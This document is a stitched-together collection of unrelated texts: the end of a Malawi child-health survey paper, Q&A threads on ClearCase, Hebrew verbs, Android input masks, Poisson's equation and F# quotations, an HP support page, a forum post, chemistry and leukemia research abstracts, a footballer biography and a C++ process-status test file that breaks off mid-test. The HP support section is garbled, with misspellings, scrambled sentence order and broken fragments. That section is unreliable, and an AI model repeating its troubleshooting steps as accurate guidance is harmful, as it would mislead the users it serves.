Paracetamol (6 tablets) 89.4% (76.2*-*95.7%)
Zinc (10 tablets) 83.0% (68.9*-*91.5%)
Eye antibiotic ointment (1 tube) 68.1% (53.0*-*80.1%)
Timer (1 functional) 87.2% (73.7*-*94.3%)
\% HSAs reporting no stockouts of essential iCCM supplies‡ lasting 7 or more days in past month 63.8% (48.8*-*76.6%)
**Supervision**
\% HSAs supervised, including register review, during the past 3 months 66.0% (50.9*-*78.4%)
\% HSAs mentored, including clinical observation, during the past 3 months 55.3% (40.5*-*69.2%)
MOH -- Ministry of Health, CI -- confidence interval, LA -- lumenfantrine artesunate, ORS -- oral rehydration solution, mRDT -- malaria rapid diagnostic test, HSA -- health surveillance assistant
\*(1) have provided iCCM services in past month, and (2) report operating village clinic for at least two days per week
†(1) reside in their catchment area, (2) have provided iCCM services in past month, (3) report operating village clinic for at least five days per week.
‡LA, mRDTs, amoxicillin, ORS, and zinc.
The survey data showed that caregivers were more likely to have sought care from an HSA during the two weeks preceding the survey if the HSA in their community had ACTs in stock on the day of the survey (52%) compared to HSAs who did not have ACTs in stock (16%) (*P* \< 0.001). We did not find similar relationships between care-seeking and any other iCCM medicines or supplies.
Twenty percent of clusters were classified as having high access to iCCM; 50% moderate access, and 30% limited or no access. We found significant differences between clusters with limited or no access to iCCM and those with moderate or high access ([**Table 6**](#T6){ref-type="table"}). Differences did not exist, however, between clusters with moderate access and high access. For example, only one quarter of caregivers in clusters with limited or no access to iCCM viewed HSAs as convenient sources of care, whereas more than half of caregivers in clusters with moderate or high access found HSAs to be convenient. Furthermore, only 13% of sick child cases were brought to an HSA as a first source of care in clusters with limited or no access to iCCM, but approximately 40% of sick child cases were brought to an HSA as a first source of care in clusters with moderate or high access to iCCM.
######
Select household survey results by iCCM access
Indicator iCCM access\* *P*-value
------------------------------------------------------------------------------------------- -------------------- -------------------- -------------------- -------------
**Limited/none** **Moderate** **High**
**% (95% CI)** **% (95% CI)** **% (95% CI)**
**Caregiver perceptions of iCCM services**
\% know the role of the iCCM HSA† 22.9 (15.4-32.6) 36.4 (29.7-43.8) 42.8 (29.9-56.7) **0.032**
\% view HSAs as trusted health care providers† 45.8 (36.9*-*55.0) 78.4 (70.8-84.5) 82.4 (57.3-94.3) **0.001**
\% believe HSAs provide quality services† 44.7 (36.1-53.6) 61.5 (55.0-67.7) 64.9 (53.3*-*75.0) **0.005**
\% cite HSAs as a convenient source of treatment† 24.6 (16.2-35.4) 58.8 (49.0*-*68.0) 52.8 (37.6-67.5) **\<0.001**
\% found HSA at first visit 81.6 (66.8-90.7) 81.8 (73.6-87.9) 90.8 (83.0-95.2) 0.169
Number of caregivers 236 386 161
**Sick child care-seeking‡**
\% sought care from an appropriate provider 62.9 (54.5-70.6) 75.1 (68.6-80.7) 68.1 (60.5-74.9) **0.030**
\% sought care from HSA as first source, all sick child cases 13.0 (8.7-19.1) 43.5 (34.3-53.3) 38.9 (26.4-53.1) **\<0.001**
\% sought care from HSA as first source, sought any care 16.2 (10.7-23.7) 51.8 (41.4-62.0) 47.9 (34.0-62.2) **\<0.001**
**Sick child treatment**
\% diarrhea and confirmed malaria cases treated correctly by any provider 34.2 (27.3-41.9) 36.3 (29.8-43.2) 36.4 (27.9-45.8) 0.905
\% diarrhea and confirmed malaria cases treated correctly by an HSA 4.9 (1.3-17.2) 20.3 (14.0-28.6) 22.3 (12.5-36.6) **0.028**
\% diarrhea and confirmed malaria cases treated correctly by an HSA, sought care from HSA 27.3 (9.9-56.2) 43.1 (34.0-52.6) 47.2 (29.3-65.9) 0.421
**Number of sick child cases** **437** **712** **298**
HSA -- health surveillance assistant, CI -- confidence interval, iCCM -- integrated community case management
\*Limited/none: no HSA providing iCCM services in cluster or HSA does not meet MOH definition of functional; moderate: HSA managed at least one sick child case in past month and operates village clinic at least 2 d/week (met MOH definition of functional); high: HSA managed at least one sick child case in past month, operates village clinic at least 5 d/week, and resides in catchment area.
†Asked only of caregivers who stated that there was an iCCM-trained HSA in their community.
‡Denominator for these indicators is sick child cases, not caregivers.
DISCUSSION
==========
The household survey findings showed that there were population-level improvements over the project period. At endline, a greater proportion of caregivers took their sick children to HSAs for treatment; a greater proportion of children with fever were assessed for malaria and, in turn, received ACTs only if they were confirmed to have malaria; and a greater proportion of children with cough and difficult or fast breathing were assessed for high respiratory rate for their age.
Care-seeking from an appropriate provider, however, did not increase over the project period; the increase in care-seeking from HSAs was offset by a decrease in care-seeking from other health care providers. A 2013-2014 national-level evaluation of Malawi's iCCM programme also found no change in care-seeking from an appropriate provider as iCCM was introduced in Malawi, noting (1) that care-seeking had increased substantially for malaria, pneumonia, and diarrhea during the years just prior to the introduction of iCCM, and (2) that although care-seeking from HSAs increased during the evaluation period, care-seeking from public health facilities decreased in parallel \[[@R8]\].
Other studies of established iCCM programmes in sub-Saharan countries found variable results related to care-seeking. In Rwanda, a study comparing national-level data from the health management information system for a period just prior to the start of iCCM implementation and a period one year later found a decrease in sick child visits to health facilities \[[@R9]\]. During the same period, the number of pneumonia and diarrhea treatments by CHWs increased; however, the study did not look at overall care-seeking from an appropriate provider \[[@R9]\]. In Uganda, an evaluation of iCCM in eight districts showed the proportion of CHW-provided sick child treatments increased while the proportion of facility-provided treatments decreased, but the total number of treatments provided by both CHWs and facilities increased \[[@R10]\]. A randomized control study in the Oromia region of Ethiopia found that though good quality iCCM services were available through health posts, the majority of caregivers did not use iCCM services and levels of care-seeking outside the homes remained low two years after iCCM was introduced \[[@R11],[@R12]\]. Another evaluation comparing areas with iCCM and areas without iCCM in Mozambique found that most caregivers used iCCM services if they were available in their community, rather than seek care from a health facility and that overall levels of care-seeking were higher in areas with iCCM services \[[@R13]\]. These results indicate that factors influencing health care-seeking behaviour must be investigated while also having a thorough understanding of the local context, including community demand and need vis-ŕ-vis the design of the iCCM programme.
In Malawi, the household surveys indicated that majority of caregivers lived far -- two hours on average -- from the nearest health facility. Furthermore, health facility staff can see 200 to 300 patients per day in Malawi, which can mean long wait times and overburdened staff who have little time to spend with individual patients. Increased care-seeking from well-trained, well-supplied, and available HSAs, therefore, benefits not only sick children and their caregivers but also facility staff.
Findings from the household surveys that merit further investigation include the proportion of caregivers who seek care from HSAs and caregiver perceptions of HSAs. Less than half of sick child cases in iCCM-eligible areas were brought to an HSA for care at endline. Seeking care at public health facilities was just as common as seeking care from HSAs in the surveyed HTRAs. Furthermore, among cases of illness for which care was not sought from an HSA at endline, the majority of caregivers reported a preference for a provider other than an HSA. The household survey did not capture reasons for caregiver provider preferences.
Caregiver perceptions of HSAs as trusted sources of high-quality, convenient care decreased over the project period, and perceptions of HSAs a convenient sources of care at endline were particularly low (47%). Perceptions of HSAs were notably more positive in clusters with moderate or high access to iCCM services but still indicated room for improvement, particularly around providing convenient, high-quality care.
HSA availability likely played a large part in the care-seeking and HSA perception results. HSA survey results indicated that iCCM services were not regularly available in many HTRAs. At endline, iCCM-trained HSAs were not found in almost one quarter of surveyed clusters. Because of numerous HSA post vacancies, RAcE project activities could not be implemented in all targeted iCCM-eligible areas as planned, and as of March 2017, the government had suspended new HSA recruitment due to lack of funds \[[@R14]\]. HSA posts were vacant for a variety of reasons including promotions, transfers, retirement, and deaths. Other HSAs were usurped by health facilities to assist with their heavy workloads or became data clerks at health facilities. Some district managers did not allow HSAs who were not residents of their catchment areas to attend iCCM trainings or to provide iCCM services.
HSA residency has been a long-standing issue in Malawi's iCCM programme. HSAs are centrally recruited and may be assigned to a district other than where they are from or where their family lives, which has been reported to negatively affect HSA retention and availability within their assigned communities \[[@R6]\]. HSAs who do not reside in their catchment areas often live elsewhere because suitable accommodations are not available, they have spouses who work in market towns or live with their families \[[@R6],[@R15]\]. A national cellphone survey of HSAs in Malawi found that only 70% of HSAs lived in their catchment areas \[[@R4]\], a result similar to our findings when clusters without HSAs providing iCCM services are included. In one study about HSA selection and assignment, researchers found that limited village clinic hours, which result from the numerous other responsibilities that HSAs have, were most pronounced among communities that have non-resident HSAs \[[@R1]\].
HSA availability is also affected by their tremendous workload. HSAs are officially responsible for performing 262 tasks, of which iCCM-related tasks are just a small proportion \[[@R7]\]. This is large number of tasks in and of itself, but a recent HSA workload analysis found that HSAs were actually being assigned more than 500 tasks \[[@R7]\]. The analysis also showed that 42% of an HSA's official tasks were added through task-shifting guidelines implemented in 2014 and that 21% of tasks could be shifted to others at the community level \[[@R7]\].
Most HSAs surveyed were functional, according to the MOH definition, but only one in four were living in their catchment area, actively providing iCCM services during the month preceding the survey and operating their village clinic at least five days a week. Therefore, across all surveyed clusters, 70% of the target population had access to an HSA providing iCCM at least 2 days per week, but only 20% had access to a resident HSA providing iCCM at least 5 days per week.
Although HSAs spend a limited amount of time operating their village clinics on a weekly basis and a sizable proportion of caregivers do not seek care from HSAs, HSAs are being accessed for treatment. On average HSAs saw more than 10 cases per week or 44 cases per month, which is similar to findings from another study conducted in Malawi \[[@R4]\].
Stockouts of essential iCCM supplies may have also affected caregivers' perceptions of HSAs, and consequently, care-seeking from HSAs. Despite programme support through RAcE and supply chain support tools such as c-Stock, HSAs still experienced shortages of iCCM medicines and supplies that limited their ability to provide high-quality care. A previous study acknowledged that limited district budgets and the inability to adequately forecast also contributed to iCCM programme stockouts in Malawi \[[@R1]\]. RAcE field monitoring data showed that health facilities used iCCM medicines meant for village clinics, particularly amoxicillin dispersible tablets, which were not being procured by the government. Others have also reported that iCCM supplies have been used by health facility staff in Malawi \[[@R14]\]. Efforts to identify and address supply chain management system issues at facility and HSA levels are needed.
Both the national iCCM evaluation and the RAcE HSA survey found supervision and clinical mentorship levels to be below the 80% MOH targets. Distances to HSAs' village clinics and transportation gaps are key barriers \[[@R16]\]. Numerous attempts have been made to address these issues with limited sustained success, but the MOH is currently developing an integrated approach to HSA supervision so that supporting HSAs is less demanding of over-stretched facility staff and more efficient \[[@R14]\]. More regular, high-quality supervision and mentorship could lead to better case management, which could in turn affect caregivers' perceptions of HSAs and care-seeking from HSAs. The quality of supervision provided to HSAs, however, is unknown and should be assessed; one study suggested that improving the quality of supervision had greater impact on quality of care than increasing only the frequency \[[@R17]\].
The household survey results also showed some suboptimal treatment patterns. Most notably HSA treatment of diarrhea with both ORS and zinc was low at baseline and did not improve during the project. Provision of zinc was the limiting factor in providing appropriate treatment; approximately two and a half times as many diarrhea cases received ORS compared zinc, regardless of source of care. The HSA survey showed, however, that most HSAs had zinc in stock at the time of the survey, and few reported stockouts of a week or longer in the month before the survey. The reasons for low provision of zinc by HSAs are unclear, but the trend likely went unnoticed by routine iCCM programme monitoring because the HSA monthly reporting forms do not include separate fields to indicate treatment with zinc and ORS. Further qualitative follow-up with HSAs, health facility staff, and community members is needed to understand the barriers to appropriate diarrhea treatment.
Moderate access to iCCM services was associated with increased care-seeking from HSAs, increased correct treatment of sick child cases by HSAs, and more positive perceptions of services provided by HSAs compared to areas with limited or no access. Areas with high access to iCCM did not show further improvements above areas with moderate access. These findings suggest that although HSAs are used by caregivers if they are available, as the iCCM programme is currently implemented, increasing the number of days HSAs spend in their village clinics may not lead to increased care-seeking from HSAs and treatments provided by HSAs that one might expect. This is not to say, however, that HSAs should not be more consistently available to provide iCCM services in their communities, but that this change alone may not be sufficient to improve child health outcomes. Opportunities exist to improve this and other aspects of the iCCM programme, and the MOH is working on some of these aspects.
Based on learning from the RAcE project, the MOH rolled out new HSA supervision tools and training materials and has recruited and trained additional HSA supervisors. The MOH plans to expand these efforts throughout the country and also to orient health center staff so that they can provide better supervision and support to the iCCM programme. The MOH has also developed a National Community Health Strategy\[[@R18]\] that aims to make community-level services more accessible and improve community awareness and demand for iCCM services and national guidelines to clarify the roles and responsibilities of HSAs and other community-level cadres who perform health-related work \[[@R7]\].
The MOH and its development partners could also strengthen the iCCM programme by filling more HSA posts, training and supporting more existing HSAs to provide iCCM services, ensuing iCCM supplies are more consistently available, and reducing HSAs' workloads. The current workloads of HSAs, particularly those providing iCCM, is not appropriately aligned with their levels of compensation and support. Further, HSA workloads fluctuate in sub-national areas according to needs of donor-funded projects. The MOH should consider revising HSA job descriptions to account for evidence-based needs, effectiveness of interventions, and capacity of HSAs to deliver services effectively and with greater availability to communities.
Limitations of the study
------------------------
First, the household surveys provide estimates for the four RAcE project districts as a whole; they were not powered to provide district-specific estimates. Second, RAcE project activities were not implemented in all iCCM-eligible areas of the project districts because several HSA posts were vacant or did not have HSAs trained in iCCM and operating a village clinic. Third, the sampling frame was based on census EAs, which did not align perfectly with HTRAs, so some EAs included in the sampling frame may have included areas not eligible for iCCM, or an active iCCM-trained HSA may have been serving only a subset of an EA at the time of the endline survey. Lastly, caregiver recall of malaria diagnostic testing has been shown to be poor, which could have affected the malaria assessment and treatment indicators calculated \[[@R19]\].
CONCLUSIONS
===========
Availability of well-equipped and supported HSAs is critical to provision of iCCM services in eligible communities. Additional qualitative research is needed to examine the challenges and to inform potential solutions. Malawi's mature iCCM programme has a strong foundation and the potential for improvement to strengthen the continuity of care from communities to facilities and to ultimately improve child health outcomes.
We thank the staff of Save the Children Malawi, the RAcE Malawi grantee, and the Malawi National Statistic Office for their contributions to the RAcE household and HSA surveys. We also thank Tiyese Chimuna of UNICEF for her inputs to this manuscript.
**Ethical approval:** Both the household and health surveillance assistant survey protocols received ethical approval from Save the Children's Ethics Review Committee and Malawi's National Health Sciences Research Committee. The household survey also received approval from ICF's Institutional Review Board.
**Disclaimers:** The opinions expressed in this manuscript are those of the authors and do not necessarily reflect the views of the World Health Organization or Global Affairs Canada.
Funding: This study was supported by the World Health Organization's Rapid Access Expansion programme funded by Global Affairs Canada.
**Authorship contributions:** KZ conceptualized the study and drafted the manuscript. TG, DP, HN, EC, and SS provided critical reviews and content edits on manuscript drafts.
**Competing interests:** The authors completed the Unified Competing Interest form at [www.icmje.org/coi_disclosure.pdf](http://www.icmje.org/coi_disclosure.pdf) (available upon request from the corresponding author), and declare no conflicts of interest.
|
Q:
Clearcase command to check the existence of an element in a VOB
What would be the command to check the existence of an element (say named "XYZ") in a Clearcase VOB ?
A:
You can start with cleartool describe:
clertool describe yourView/yourVob/yourFile
But that implies that you have a view first.
I would recommend a dynamic view, as it is easier/quicker to set up and use (no update like in a snapshot view).
|
Q:
Will the fire not "be quenched" (passive) or never "go out" (possibly reflexive) at Isaiah 66:24
In Isaiah 66:24 we read that the fire will not be quenched: וְאִשָּׁם֙ לֹ֣א תִכְבֶּ֔ה
This looks like the Niphal stem to me (passive). Yet several versions I've looked at render it as the fire will "never go out" and will "never stop"
and I take it the translators are taking תִכְבֶּ֔ה in some kind of reflexive sense (i.e. never put themselves out).
Yet all instances I have seen for this idea of fires reflexively quenching themselves are from recently published translations (within past several decades), as Contemporary English Version (CEV); Easy-to-read Version (ERV); Expanded Bible (EXB); New Century Version (NCV), etc. Older versions don't seem to have this take on it. What's going on here?
A:
It’s actually not nifal. The verb תִכְבֶּה is qal imperfect, 3rd person feminine singular from כבה. The nifal for this verb is not attested as far as I know, but the corresponding imperfect would have a dagesh in the כ, a qamets underneath it, and no dagesh in the ב, i.e. תִכָּבֶה (tikkāb̲eh) rather than תִכְבֶּה (tik̲beh).
The qal verb in this case has a meaning that can be conveyed using a passive verb in English ("be extinguished"); the active "go out" means approximately the same thing.1 For the qal כבה, BDB gives:
be quenched, extinguished, go out, of fire or lamp
I do see how you perceive a different nuance between the passive and active expressions in English. In either case, though, fire is the subject, it stops burning, and the agent responsible for the cessation of burning is not stated in the immediate context.1 I think the decision about whether to use a passive or active construction in English is a matter of English style.2
In Isaiah 66:24, the lack of focus on agency in the qal תִכְבֶּה is consistent with the other verbs describing the dead bodies of those who rebelled against the LORD:
For their worm shall not die, their fire shall not be quenched, and they shall be an abhorrence to all flesh. (ESV)
The focus is on the status of the bodies rather than on attribution of responsibility for this state. For that we have to look to the wider context.
1. This is because, unlike this Hebrew qal, most available English verbs (e.g. extinguish, quench) are transitive (or, if you prefer, divalent), requiring both a subject and object. (See the Hebrew equivalent in note 3.) The idiomatic "go out" is monovalent so can be presented in the same "voice" as the Hebrew. Short of that, English impersonal passives provide a similar sense.
2. For an example of the word used in a similar sense, see Leviticus 6:5-6 (vv. 12-13 in English). See also, Jeremiah 17:27 and Proverbs 26:20.
3. In this case, Hebrew uses the piel for the transitive meaning that is more unambiguously active in English — "to quench". See, for instance, Isaiah 42:3.
|
Hp help and support center
Depending on your desktop model you can find it on the side, top, front or back of the computer. Examples of where to find your product information label. Search Windows for your printer: Windows regularly scans your computer and displays issues or updates, including recommendations to Disable applications to improve performance. Cannot scan or fax from Solution Center.
Hhelp do I download Solution Center? What if scanning functions no longer work? Right click hpwuSchd Applicationthen click Start service. Use this pre-installed app to scan from most HP all-in-one printers. See your browser's documentation for specific instructions. Report product content issues. You can configure your options to install updates automatically or to notify you when updates are available.
How does HP install software and gather data? For example, Audio Check can diagnose and help fix issues if you having trouble hearing sound from your computer. Download HP Support Assistant.
Continue to the next step to reinstall the print ph. If your printer is listedselect the printer, then click Next. To resolve the issue, use HP Print and Scan Doctor to check for possible problems, change network settings, or reinstall the driver.
A label attached to the product usually on the underside Laser etching on the surface of the product Inside the battery compartment A purchase invoice or receipt Product packaging or shipping box Documentation that came with the product. Crnter Virtual Agent is currently unavailable. Maintain your HP devices with automated support, updates, and fixes. Disconnect the USB cable from the printer, if necessary.
Let's identify your product to get started.
Contact HP
Download and run HP Print and Scan Doctor to quickly and automatically perform several troubleshooting tasks known to resolve this issue. Cannot scan or fax from Solution Center. Asia Pacific and Oceania. In the list of your active networks, check if your network is set as a Public or Private connection type.
Change the network type to 'Private' If your private network is set as Public, printer functions might not work correctly. For almost all HP products, the product information label can be found from one of the following locations: The number is printed on a label. For All-in-One PCs you will find it on the back.
Reinstall the latest driver from the HP website Reinstall with the full feature driver available from the HP website to restore scanning functions. |
Q:
Masked input is not working in android phones
Hi I have used the masked input plugin click for my website to format the phone number which is entered by the user I am using the format as (123) 456-7890 its working fine with PC's but when I browse the site with android devices and enter the phone number as 1234567890 its order is getting changed as (213) 456-7890 or any random order automatically.
You can see this issue in their demo site itself here is the link
In the goto demo tab next to usage tab.
can anyone suggest me a solution for the same.
A:
I resolved this issue with three actions, which have fixed this for all Android 4.0+ phones:
Update masked-input to at least version 1.4
Add type="tel" to the input, to trigger the phone keypad
Remove the input's maxlength attribute or set it to a value certain not to interfere with the caret action, like 20.
|
Q:
How to prove that if $-\nabla^2 \Phi = \rho$ and $\rho$ is bounded then $\Phi$ is bounded.
This problem is obviously inspired by the study of electrostatics, and requires a little more detail than in the title. Precisely, suppose that two functions defined in 3-$d$ space, $\Phi(\mathbf{x})$ and $\rho(\mathbf{x})$, that are related through Poisson's equation:
$$-\nabla^2 \Phi = \rho.$$
If it is given that $\rho$ is bounded from above and below ($R_L \le \rho \le R_M$) in some finite volume $V$, is it possible to prove that $\Phi$ is bounded in that same volume?
I can argue that the presence of point charges and line charges produces divergences in $\Phi$, but surface charges do not. The pattern is that charge densities with support on sets with dimension $0$ and $1$ produce divergent values of $\Phi$, but those on sets of dimension $2$ do not, so $3$ must not either. Is that sufficient? Is there a more rigorous argument that can be made based on Green's theorem with Dirichlet boundary conditions?
$$\Phi(\mathbf{x}) = \int_V \frac{\rho(\mathbf{x} - \mathbf{x}')}{4\pi|\mathbf{x} - \mathbf{x}'|} \operatorname{d}^3\mathbf{x} + \Phi_0(\mathbf{x}),$$
where $\Phi_0(\mathbf{x})$ is the field produced by the boundary conditions/charges external to $V$ and is bounded in $V$ (it satisfies $\nabla^2 \Phi_0 = 0$ in $V$).
A:
Because the integral kernel $\frac{1}{4\pi \lvert \mathbf{x} \rvert}$ is positive, the analysis is quite straightforward for this: if we have $ R_L \leq \rho \leq R_M $, then positivity of the integral ($\int f>0$ if $f>0$) implies that
$$ R_L\int_V \frac{1}{4\pi \lvert \mathbf{x}-\mathbf{x}' \rvert} \, dV \leq \int_V \frac{\rho(\mathbf{x}-\mathbf{x}')}{4\pi \lvert \mathbf{x}-\mathbf{x}' \rvert} \, dV \leq R_M\int_V \frac{1}{4\pi \lvert \mathbf{x}-\mathbf{x}' \rvert} \, dV $$
To show that the integral $\int_V \frac{1}{4\pi \lvert \mathbf{x}-\mathbf{x}' \rvert} \, dV$ is bounded, if $V$ is bounded, we can find a large ball $B$ of radius $R$ centred on $\mathbf{x}$ so that $V$ is contained in this ball whenever $\mathbf{x} \in V$. But again since $\frac{1}{4\pi \lvert \mathbf{x} \rvert}>0$, we have
$$ \int_V \frac{1}{4\pi \lvert \mathbf{x}-\mathbf{x}' \rvert} \, dV < \int_B \frac{1}{4\pi \lvert \mathbf{x}-\mathbf{x}' \rvert} \, dV = \frac{1}{4\pi}\int_0^R \frac{1}{r} 4\pi r^2 \, dr = \int_0^R r \, dr = \frac{1}{2}R^2, $$
using polar coordinates centred at $\mathbf{x}$.
|
Asked by:
Error code FFFFFFE
Question
I keep getting this error code every time I try to update. I have clicked the "get help with this code" and followed the advice. That advice was that it is malware. Ok, ran numerous full scans with 2 different malware/virus security programs and still
getting the code. Is there something I am missing? I thought about doing a system restore but it doesn't seem to go back far enough (or I don't know how to get more than the most recents on the list). Thanks
Microsoft is conducting an online survey to understand your opinion of the Technet Web site. If you choose to participate, the online survey will be presented to you when you leave the Technet Web site. |
Spontaneous redox synthesis of the charge transfer material TTF4[SVMo11O40].
The charge-transfer material TTF-SV(IV)Mo(11)O(40) (TTF = tetrathiafulvalene) was prepared by a spontaneous redox reaction between TTF and the vanadium-substituted polyoxometalate (n-Bu(4)N)(3)[SV(V)Mo(11)O(40)] in both solution and solid state phases. Single crystal X-ray diffraction gave the stoichiometry TTF(4)[SVMo(11)O(40)]·2H(2)O·2CH(2)Cl(2), with the single V atom positionally disordered with eight Mo atoms over the whole α-Keggin polyanion [SVMo(11)O(40)](4-). Raman spectra support the 1+ charge assigned to the oxidized TTF deduced from bond lengths, and elemental and voltammetric analysis also are consistent with this formulation. Scanning electron microscopy images showed a rod-type morphology for the new charge-transfer material. The conductivity of the solid at room temperature is in the semiconducting range. The TTF and (n-Bu(4)N)(3)[SV(V)Mo(11)O(40)] solids also undergo a rapid interfacial reaction, as is the case with TTF and TCNQ (TCNQ = tetracyanoquinodimethane) solids. EPR spectra at temperatures down to 2.6 K confirm the presence of two paramagnetic species, V(IV) and the oxidized TTF radical. Spectral evidence shows that the TTF-SV(IV)Mo(11)O(40) materials prepared from either solution or solid state reactions are equivalent. The newly isolated TTF-SV(IV)Mo(11)O(40) material represents a new class of TTF-polyoxometalate compound having dual electrical and magnetic functionality derived from both the cationic and anionic components. |
Gao Jiulong
Gao Jiulong (Chinese: 高久龙; Pinyin: Gāo Jiǔlóng; born 27 July 1989) is a Chinese football player who currently plays for China League Two side Chengdu Qbao.
Club career
Gao joined Changsha Ginde youth team system in the early year and was promoted to first team squad in 2009. He didn't play for the club in his first two seasons. Changsha Ginde finished the bottom of the league and relegation to China League One in 2010. In February 2011, the club moved to Shenzhen as the club's name changed into Shenzhen Phoenix. Gao made his senior debut on 8 April 2010, in a 3–0 away defeat against Yanbian Baekdu Tigers. The club were then bought by Chinese property developers Guangzhou R&F and moved to Guangzhou in June and won promotion back to the Super League at the first attempt. He made 5 league appearances in the 2011 season.
In July 2013, Gao was to China League Two side Shenyang Dongjin until 31 December. In July 2014, he was loaned to China League Two side Nanjing Qianbao until 31 December.
Career statistics
Statistics accurate as of match played 19 October 2019.
References
Category:1989 births
Category:Living people
Category:Chinese footballers
Category:Association football defenders
Category:Footballers from Shenyang
Category:Changsha Ginde players
Category:Guangzhou R&F F.C. players
Category:Shenyang Dongjin players
Category:Chinese Super League players
Category:China League One players |
Q:
F# quotations on Windows Phone
I'm using Daniel Mohl's F# templates for Windows phone, but it seems the bundled FSharp.Core doesn't have some of the quotations code. I'm trying to port this code from regular .NET:
open System.ComponentModel
open Microsoft.FSharp.Quotations
open Microsoft.FSharp.Quotations.Patterns
[<AbstractClass>]
type ViewModelBase() =
let propertyChanged = new Event<_, _>()
let toPropName expr =
match expr with
| PropertyGet(a, b, list) -> b.Name
| _ -> failwith "Unsupported: " + expr.ToString()
interface INotifyPropertyChanged with
[<CLIEvent>]
member x.PropertyChanged = propertyChanged.Publish
member x.NotityPropertyChanged expr =
propertyChanged.Trigger(x, new PropertyChangedEventArgs(toPropName expr))
But the compiler complaints about Microsoft.FSharp.Quotations.Patterns and PropertyGet. It seems it doesn't even know the Expr type.
Any idea on how to solve this?
A:
I replaced the FSharp.Core file that comes in the template by the one that comes in the F# April 2011 CTP in the WindowsPhone7\Silverlight\4.0\bin folder, and with this version it now compiles fine
|
The synergistic killing of AML cells co-cultured with HS-5 bone marrow stromal cells by As2O3 and the PI3K/Akt signaling pathway inhibitor LY294002.
We aimed to investigate whether a combination of resistance to arsenic trioxide (As2O3) and the phosphoinositide 3-kinase (PI3K)/Akt signaling pathway inhibitor LY294002 can inhibit the proliferation of AML cells in the bone marrow microenvironment. Three AML cell lines were grown with HS-5 human bone marrow stromal cells in adherent co-cultures. The inhibitory effects of As2O3 alone or in combination with LY294002 on the proliferation of these co-cultured AML cells were observed. The PI3K/Akt signaling pathway was detected by Western Blot in co-cultured AML cells cultured alone or treated with As2O3 alone or in combination with LY294002. Our results demonstrate that AML cells adhered to stroma exhibited significantly reduced sensitivity to As2O3. The resistance can be partially abolished by inhibiting the PI3K/Akt pathway. The administration of As2O3 in combination with a PI3K/Akt signaling pathway inhibitor may be expected to become a new approach to the treatment of AML. |
// Copyright 2010 The Kyua Authors.
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above copyright
// notice, this list of conditions and the following disclaimer in the
// documentation and/or other materials provided with the distribution.
// * Neither the name of Google Inc. nor the names of its contributors
// may be used to endorse or promote products derived from this software
// without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#include "utils/process/status.hpp"
extern "C" {
#include <sys/wait.h>
#include <signal.h>
#include <unistd.h>
}
#include <cstdlib>
#include <atf-c++.hpp>
#include "utils/test_utils.ipp"
using utils::process::status;
namespace {
/// Body of a subprocess that exits with a particular exit status.
///
/// \tparam ExitStatus The status to exit with.
template< int ExitStatus >
void child_exit(void)
{
std::exit(ExitStatus);
}
/// Body of a subprocess that sends a particular signal to itself.
///
/// \tparam Signo The signal to send to self.
template< int Signo >
void child_signal(void)
{
::kill(::getpid(), Signo);
}
/// Spawns a process and waits for completion.
///
/// \param hook The function to run within the child. Should not return.
///
/// \return The termination status of the spawned subprocess.
status
fork_and_wait(void (*hook)(void))
{
pid_t pid = ::fork();
ATF_REQUIRE(pid != -1);
if (pid == 0) {
hook();
std::abort();
} else {
int stat_loc;
ATF_REQUIRE(::waitpid(pid, &stat_loc, 0) != -1);
const status s = status(pid, stat_loc);
ATF_REQUIRE_EQ(pid, s.dead_pid());
return s;
}
}
} // anonymous namespace
ATF_TEST_CASE_WITHOUT_HEAD(fake_exited)
ATF_TEST_CASE_BODY(fake_exited)
{
const status fake = status::fake_exited(123);
ATF_REQUIRE_EQ(-1, fake.dead_pid());
ATF_REQUIRE(fake.exited());
ATF_REQUIRE_EQ(123, fake.exitstatus());
ATF_REQUIRE(!fake.signaled());
}
ATF_TEST_CASE_WITHOUT_HEAD(fake_signaled)
ATF_TEST_CASE_BODY(fake_signaled)
{
const status fake = status::fake_signaled(567, true);
ATF_REQUIRE_EQ(-1, fake.dead_pid());
ATF_REQUIRE(!fake.exited());
ATF_REQUIRE(fake.signaled());
ATF_REQUIRE_EQ(567, fake.termsig());
ATF_REQUIRE(fake.coredump());
}
ATF_TEST_CASE_WITHOUT_HEAD(output__exitstatus);
ATF_TEST_CASE_BODY(output__exitstatus)
{
const status fake = status::fake_exited(123);
std::ostringstream str;
str << fake;
ATF_REQUIRE_EQ("status{exitstatus=123}", str.str());
}
ATF_TEST_CASE_WITHOUT_HEAD(output__signaled_without_core);
ATF_TEST_CASE_BODY(output__signaled_without_core)
{
const status fake = status::fake_signaled(8, false);
std::ostringstream str;
str << fake;
ATF_REQUIRE_EQ("status{termsig=8, coredump=false}", str.str());
}
ATF_TEST_CASE_WITHOUT_HEAD(output__signaled_with_core);
ATF_TEST_CASE_BODY(output__signaled_with_core)
{
const status fake = status::fake_signaled(9, true);
std::ostringstream str;
str << fake;
ATF_REQUIRE_EQ("status{termsig=9, coredump=true}", str.str());
}
ATF_TEST_CASE_WITHOUT_HEAD(integration__exited);
ATF_TEST_CASE_BODY(integration__exited)
{
const status exit_success = fork_and_wait(child_exit< EXIT_SUCCESS >);
ATF_REQUIRE(exit_success.exited());
ATF_REQUIRE_EQ(EXIT_SUCCESS, exit_success.exitstatus());
ATF_REQUIRE(!exit_success.signaled());
